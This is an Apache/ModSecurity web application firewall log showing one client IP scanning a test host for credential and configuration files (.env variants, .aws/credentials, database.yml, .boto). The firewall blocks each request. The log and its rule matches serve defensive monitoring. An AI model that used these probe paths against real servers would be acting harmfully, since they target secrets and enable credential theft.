[Wed Feb 25 06:04:37.800765 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7gAAAAQ&quot;]
[Wed Feb 25 06:04:37.800963 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7gAAAAQ&quot;]
[Wed Feb 25 06:04:37.928564 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW8AAAAAQ&quot;]
[Wed Feb 25 06:04:37.929085 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW8AAAAAQ&quot;]
[Wed Feb 25 06:04:37.929265 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW8AAAAAQ&quot;]
[Wed Feb 25 06:04:37.936389 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWdQAAAAI&quot;]
[Wed Feb 25 06:04:37.936647 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWdQAAAAI&quot;]
[Wed Feb 25 06:04:37.936798 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWdQAAAAI&quot;]
[Wed Feb 25 06:04:38.132536 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.bitbucket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW8gAAAAQ&quot;]
[Wed Feb 25 06:04:38.132815 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW8gAAAAQ&quot;]
[Wed Feb 25 06:04:38.132997 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW8gAAAAQ&quot;]
[Wed Feb 25 06:04:38.155905 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ6C5lIszkcv5YapLJKWeAAAAAI&quot;]
[Wed Feb 25 06:04:38.156210 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ6C5lIszkcv5YapLJKWeAAAAAI&quot;]
[Wed Feb 25 06:04:38.156405 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ6C5lIszkcv5YapLJKWeAAAAAI&quot;]
[Wed Feb 25 06:04:38.221827 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW8wAAAAQ&quot;]
[Wed Feb 25 06:04:38.222115 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW8wAAAAQ&quot;]
[Wed Feb 25 06:04:38.222288 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW8wAAAAQ&quot;]
[Wed Feb 25 06:04:38.341165 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ6C5lIszkcv5YapLJKWeQAAAAI&quot;]
[Wed Feb 25 06:04:38.341515 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ6C5lIszkcv5YapLJKWeQAAAAI&quot;]
[Wed Feb 25 06:04:38.341709 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ6C5lIszkcv5YapLJKWeQAAAAI&quot;]
[Wed Feb 25 06:04:38.346104 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.c9/metadata/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW9QAAAAQ&quot;]
[Wed Feb 25 06:04:38.346336 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW9QAAAAQ&quot;]
[Wed Feb 25 06:04:38.346498 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW9QAAAAQ&quot;]
[Wed Feb 25 06:04:38.397619 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.circleci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW9gAAAAQ&quot;]
[Wed Feb 25 06:04:38.397861 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW9gAAAAQ&quot;]
[Wed Feb 25 06:04:38.398023 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW9gAAAAQ&quot;]
[Wed Feb 25 06:04:38.576735 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-QAAAAQ&quot;]
[Wed Feb 25 06:04:38.577011 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-QAAAAQ&quot;]
[Wed Feb 25 06:04:38.577186 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-QAAAAQ&quot;]
[Wed Feb 25 06:04:38.601976 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-gAAAAQ&quot;]
[Wed Feb 25 06:04:38.602249 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-gAAAAQ&quot;]
[Wed Feb 25 06:04:38.602452 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-gAAAAQ&quot;]
